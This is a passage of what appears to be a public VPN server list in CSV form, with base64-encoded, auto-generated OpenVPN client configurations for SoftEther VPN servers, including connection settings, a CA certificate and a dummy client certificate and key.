HRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjQuMzMuMjUzLjU4IDE4NDANCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +opengw,217.138.212.62,1444651,9,201596080,Romania,RO,143,3212693195,6202057,1128229672686609,2weeks,Japan VPN,こんにちは! Hello! Здравствуйте! 你好! سلام (^_^)/,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0